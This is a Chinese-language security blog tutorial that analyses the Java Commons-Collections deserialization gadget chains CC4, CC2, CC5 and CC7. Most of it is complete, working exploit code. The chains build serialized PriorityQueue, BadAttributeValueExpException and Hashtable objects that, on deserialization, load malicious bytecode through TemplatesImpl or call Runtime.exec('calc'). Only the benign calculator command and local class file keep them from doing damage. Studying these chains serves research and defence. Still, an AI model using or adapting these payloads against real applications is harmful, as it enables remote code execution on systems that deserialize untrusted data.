Java安全-CC4&CC2&CC5&CC7链

Java安全-CC4链

CC4链

因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。

环境

先说一下 jdk 这个环境,理论上只有 CC1 和 CC3 链受到 jdk 版本影响。

  • JDK8u65

  • [openJDK 8u65

  • Maven 4.0.0

  • Commons-Collections 4.0

Maven 下载 Commons-Collections 依赖。

1
2
3
4
5
<dependency>  
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

CC4 链分析

因为还是 CC 链的漏洞,所以一般是与 transform 分不开的。

  • 从尾部向首部分析,尾部命令执行的方式就两种,反射或是动态加载字节码。因为 CC4 链上只是去掉了 InvokerTransformer 的 Serializable 继承,所以最后的命令执行不受影响。

这里的 InvokerTransformer 用不了了,我们去找谁调用了 transform() 方法

找到TransformingComparator的compare方法

compare方法查找用法时是有133个结果的,很难排查

所以我们这里继续寻找方法调用的时候需要一些编程基础的

这里直接看到PriorityQueue的readObject方法

调用了heapify方法

heapify方法调用了siftDown方法(这里不贴出)

继续走到siftDown方法方法

走进if循环发现siftDownUsingComparator方法有compare方法的调用

EXP编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4EXP {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "enableTemplatesImplDeserialization");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D://Test.class"));
byte[][] codes = {evil};
bytecodesField.set(templates, codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
//templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);


Transformer[] transformers = new Transformer[]{
//触发攻击链子
//其实这里可以不用这个,因为我们不再需要进入setValue方法
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

// 触发序列化 + 反序列化
serialize(priorityQueue);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

运行这个程序,发现没有弹出计算器也没有报错

在readObject下一个断点调试一下

断在795行,调用heapify方法时下一个断点

看到这里发现size=0是无法进入siftDown方法的

在readObject方法中有关于size的代码

修改EXP

要修改 Size,必然要先明白 Size 是什么,Size 就是 PriorityQueue 这个队列的长度,简单理解,就是数组的长度。现在我们这个数组的长度为 0,0 - 1 = -1,所以会直接跳出循环,不能弹计算器。

通过此语句加上即可

1
2
priorityQueue.add(1);  
priorityQueue.add(2);

运行一下是能弹计算器的,但是报错了

原因是:

在我们进行 priorityQueue.add(1) 这个语句的时候,它内部会自动进行 compare() 方法的执行,然后调用 transform(),触发我们的chainedTransformer组合链。还没有序列化与反序列化,就弹出计算器了

但是在这里由于 _tfactory 为 null,导致报错。

还记得我们在 CC3 链里面讲的那个 _tfactory 的值吗?

当时我们是写的这段 EXP

1
2
3
4
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");  
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
  • 我在跑代码的时候把最后一行给注释掉了,所以才会出错。_tfactory 是在反序列化的时候才会加进来的,所以加上就不报错了。不过删掉也无所谓,因为我们本来就不想让其本地执行。

同样的,想要解决这个报错,我们只需要给链子其中一个方法传入一个没用的对象,再用反射修改,就可以了

这里将这行代码做更改

1
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);

先传入一个没有用的对象

1
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

再反射修改

1
2
3
4
Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, chainedTransformer);

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC4EXP {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "enableTemplatesImplDeserialization");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D://Test.class"));
byte[][] codes = {evil};
bytecodesField.set(templates, codes);

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);


Transformer[] transformers = new Transformer[]{
//触发攻击链子
//其实这里可以不用这个,因为我们不再需要进入setValue方法
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, chainedTransformer);


// 触发序列化 + 反序列化
serialize(priorityQueue);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

顺利弹出计算器

利用链分析

CC2链

分析与EXP编写

CC2 这条链实际上是在 CC4 链基础上的修改,目的是为了避免使用 Transformer 数组。

在 CC4 链的基础上,抛弃了用 InstantiateTransformer 类将 TrAXFilter 初始化,以及 TemplatesImpl.newTransformer() 这个步骤

看到了一个总结的很好的流程图,贴在这里

那么我们简单分析 CC2 链的前半部分,还是出现了 compare 这些,所以在 CC4 链中的 compare 部分是可用的。在 CC2 链最后部分是 TemplatesImpl 执行动态字节码,和 CC4 链最后的部分是相等的,我们可以直接搬进来。

还是老方法,先在transformingComparator对象中传入一个无用的东西,再通过反射修改

1
2
3
4
5
6
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, newTransformer);

添加值

调试时可以看到这行代码传入的obj1会作为transform方法的执行对象

我们需要newTransformer对象调用transform方法来执行我们加载恶意字节码的操作,所以要传入我们构造好的templates对象

1
priorityQueue.add(templates)

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2EXP {
public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "enableTemplatesImplDeserialization");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);

byte[] evil = Files.readAllBytes(Paths.get("D://Test.class"));
byte[][] codes = {evil};
bytecodesField.set(templates, codes);

InvokerTransformer<Object, Object> newTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(templates);
priorityQueue.add(templates);

//反射修改值
Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, newTransformer);

// 触发序列化 + 反序列化
serialize(priorityQueue);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

成功弹出计算器

CC5

环境

  • jdk8u65
  • Commons-Collections 3.2.1

Commons-Collections 版本限制

  • CC5 依赖的 TransformerChainedTransformerInvokerTransformer3.1 / 3.2.1 中可用。
  • 3.2.2+ 官方补丁 中,危险的 Transformer 被修补,导致利用链失效。
    👉 所以 CC5 仍然受 Commons-Collections 版本限制。(与CC3受限制原因相同)
  • 在4.0版本中,LazyMap类的decorate方法被删除,无法利用此新建对象

分析调用链

cc5与cc3的不同只是触发调用LazyMap的get方法不同

这里依旧贴一个看到总结的很好的流程图

BadAttributeValueExpExceptionreadObject() 方法进来

这里我们可以看到可以通过传参,使其调用TiedMapEntry的toString方法

进入到TiedMapEntry类可以看到它的toString方法调用了getValue方法,通过getValue方法可以调用LazyMap的get方法

编写EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC5EXP {
public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"enableTemplatesImplDeserialization");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D://Test.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
//templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);


Transformer[] transformers = new Transformer[]{
//触发攻击链子
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};


ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//与CC1前半部分链子结合一下
HashMap map = new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

//实例化TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "enableTemplatesImplDeserialization");
tiedMapEntry.toString();

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);


// 触发序列化 + 反序列化
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

链子入口处

1
2
3
4
5
6
7
      //实例化TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "enableTemplatesImplDeserialization");
tiedMapEntry.toString();

//构造方法是public可以直接传参数
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

成功弹出计算器

CC7

分析

同样只是更改了触发调用LazyMap的get方法

  • 前半条链子的入口类是 Hashtable,我们跟进去看一下。

Hashtable 的入口类 readObject() 方法调用了一个 reconstitutionPut() 方法。

reconstitutionPut() 方法中有equals方法的调用

找到了AbstractMapDecorator类的equals方法

这个类是继承了 map 接口,因为它是 CC 包里面的 Map 类,并且能够调用父类 Map,所以把它作为链子的一部分。但是 Map 是一个接口,我们需要去找 Map 的实现类

找到AbstractMap类的equals方法中会调用get方法,可以触发Lazy#get,与后半段链子连接起来

但是这个类不能序列化

EXP编写

这里对传进的 Entry 对象数组进行了循环,逐个调用e.key.equals(key),这里传进去的参数key如果是我们可控的,那么AbstractMap.equals()中的m就是我们可控的。

  • 从本质上来说,我们需要在入口类这里传进去恶意的 key,接着调用 key.equals() 即可。

这一段传入恶意 key 应当如此

1
2
Hashtable hashtable = new Hashtable();  
hashtable.put(lazyMap, "value");

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7EXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"enableTemplatesImplDeserialization");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D://Test.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
//templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);


Transformer[] transformers = new Transformer[]{
//触发攻击链子
//其实这里可以不用这个,因为我们不再需要进入setValue方法
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};


ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//与CC1前半部分链子结合一下
HashMap map = new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap, "value");

// 触发序列化 + 反序列化
serialize(hashtable);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

没有弹出计算器

  • 把断点打在了 AbstractMap.equals() 的地方,结果发现居然没有执行到 .equals() 这个方法,去看一看 yso 的链子是怎么写的。

yso 这里的链子比我们多了一个 map,而且将两个 map 进行了比较,一看到这个就明白了。

  • 为什么要调用两次 put()?

我们需要调用的 e.key.equal() 方法是在 for 循环里面的,需要进入到这 for 循环才能调用。

HashtablereconstitutionPut() 方法是被遍历调用的,

第一次调用的时候,并不会走入到 reconstitutionPut() 方法 for 循环里面,因为 tab[index] 的内容是空的,在下面会对 tab[index] 进行赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
// 私有方法 reconstitutionPut:在反序列化重组过程中,将键(Key)和值(Value)放入条目数组(tab)中。
// 参数 tab: 哈希桶数组(存储链表的数组)
// 参数 key: 要放入的键
// 参数 value: 要放入的值
// 可能抛出 StreamCorruptedException: 表示在反序列化过程中检测到数据流损坏异常

if (value == null) {
throw new java.io.StreamCorruptedException();
}
// 如果传入的值为空(null),则抛出 StreamCorruptedException 异常。
// (因为 Hashtable 通常不允许存储 null 值)

// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
// 确保该键尚未存在于哈希表中。
// 在反序列化的版本中,这种情况不应该发生。
int hash = key.hashCode();
// 计算键的哈希码(hashCode)
int index = (hash & 0x7FFFFFFF) % tab.length;
// 通过将哈希码与 0x7FFFFFFF(最大正整数)进行按位与操作确保其为非负数,
// 然后对数组长度取模,得到该键值对应放入的数组下标(index)。

for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
// 遍历该数组下标处的链表(如果存在)
if ((e.hash == hash) && e.key.equals(key)) {
// 如果找到了一个已存在的条目,其哈希码与当前键的哈希码相同,
// 并且键本身也相等(通过 equals 方法判断)
throw new java.io.StreamCorruptedException();
// 则抛出 StreamCorruptedException 异常。
// 因为在反序列化时,不应该出现重复的键,这表明数据流可能已损坏。
}
}

// Creates the new entry.
// 创建新的条目。
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
// 这是一个不检查的转换,获取当前数组下标处的第一个条目(链表头节点)

tab[index] = new Entry<>(hash, key, value, e);
// 在数组的 index 位置创建一个新的 Entry 对象。
// 这个新条目将:
// - 存储当前的 hash、key、value
// - 将其 next 指针指向原来的链表头(e)
// 这相当于将新节点插入到链表的头部。

count++;
// 增加哈希表的条目计数器。
}
  • 为什么调用的两次put()其中map中key的值分别为yy和zZ?

第二次调用 reconstitutionPut() 进入到 for 循环的时候,此时 e 是从 tab 中取出的 lazyMap1 ,然后进入到判断中,要经过 (e.hash == hash) 判断为真才能走到我们想要的 e.key.equal() 方法中。这里判断要求取出来的 lazyMap1 对象的hash值要等都现在对象也就是 lazyMap2 的hash值,这里的hash值是通过 lazyMap 对象中的 key.hashCode() 得到的,也就是说 lazyMap1 的 hash 值就是 "yy".hashCode() ,lazyMap2 的 hash 值就是 "zZ".hashCode() ,而在 java 中有一个小 bug:

1
"yy".hashCode() == "zZ".hashCode()

for循环是进行了一个列表的遍历,if中前半句是如果找到了一个已存在的条目,其哈希码与当前键的哈希码相同。

yyzZhashCode() 计算出来的值是一样的。正是这个小 bug 让这里能够利用,所以这里我们需要将 map 中 put() 的值设置为 yyzZ,才能走到我们想要的 e.key.equal() 方法中。

  • 为什么在调用完 HashTable.put() 之后,还需要在 map2 中 remove() 掉 yy?

这是因为 HashTable.put() 实际上也会调用到 equals() 方法:

当调用完 equals() 方法后,会进入LazyMap的get方法。

记得吗,这个类就是用来加入新的键,调用get将新的值加入key中

LazyMap2 的 key 中就会增加一个 yy 键:

在后续AbstractMap的equals方法中检测到两个 Map 的大小(包含的键值对数量)不相等直接返回false

无法调用get方法,触发接下来的利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
public boolean equals(Object o) {
// 公共方法:判断当前对象是否与给定对象 o 相等
// 返回值:true 表示相等,false 表示不相等

if (o == this)
return true;
// 如果比较的对象 o 就是当前对象本身(内存地址相同)
// 则毫无疑问它们是相等的,直接返回 true

if (!(o instanceof Map))
return false;
// 如果对象 o 不是 Map 类型(或不是 Map 接口的实现类)
// 则类型不同,肯定不相等,返回 false

Map<?,?> m = (Map<?,?>) o;
// 将对象 o 强制转换为 Map 类型,方便后续操作
// 这里的 <?,?> 表示键和值可以是任何类型

if (m.size() != size())
return false;
// 如果两个 Map 的大小(包含的键值对数量)不相等
// 则它们肯定不相等,返回 false(这是一种快速失败优化)

try {
// 开始逐个比较键值对,使用 try 块捕获可能出现的异常

Iterator<Entry<K,V>> i = entrySet().iterator();
// 获取当前 Map 的条目集合(entrySet)的迭代器
// 用于遍历当前 Map 的所有键值对

while (i.hasNext()) {
// 遍历当前 Map 的每一个键值对
Entry<K,V> e = i.next();
// 获取下一个键值对条目
K key = e.getKey();
// 获取当前条目的键
V value = e.getValue();
// 获取当前条目的值

if (value == null) {
// 如果当前条目的值为 null
if (!(m.get(key)==null && m.containsKey(key)))
// 检查目标 Map m 中:
// 1. 使用相同键获取的值必须也是 null (m.get(key)==null)
// 2. 并且必须包含这个键 (m.containsKey(key))
// 如果这两个条件不同时满足,则返回 false
return false;
} else {
// 如果当前条目的值不为 null
if (!value.equals(m.get(key)))
// 检查当前值是否与目标 Map m 中相同键对应的值相等
// 使用值的 equals 方法进行比较
// 如果不相等,则返回 false
return false;
}
}
// 循环结束:当前 Map 的所有键值对都在目标 Map 中找到了匹配项

} catch (ClassCastException unused) {
// 捕获类型转换异常:可能在强制类型转换或方法调用时发生
// 例如键或值的类型不兼容,返回 false
return false;
} catch (NullPointerException unused) {
// 捕获空指针异常:可能在调用 null 对象的方法时发生
// 或者目标 Map 不支持 null 键/值,返回 false
return false;
}

return true;
// 如果程序执行到这里,说明:
// - 两个 Map 大小相同
// - 当前 Map 的每个键值对都在目标 Map 中存在对应关系
// - 所有对应的值都相等(正确处理了 null 值情况)
// - 比较过程中没有抛出异常
// 因此判定两个 Map 相等,返回 true
}

所以要删除yy键

  • 最后同样的,我们要反序列化才触发链子。所以要先给chainTransformer对象传入一个没用的东西,再通过反射修改值

最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7EXP {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
decorateMap2.remove("yy");

serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

Java安全-CC4&CC2&CC5&CC7链
http://huang-d1.github.io/2025/09/15/Java安全-CC4&CC2&CC5&CC7链/
作者
huangdi
发布于
2025年9月15日
许可协议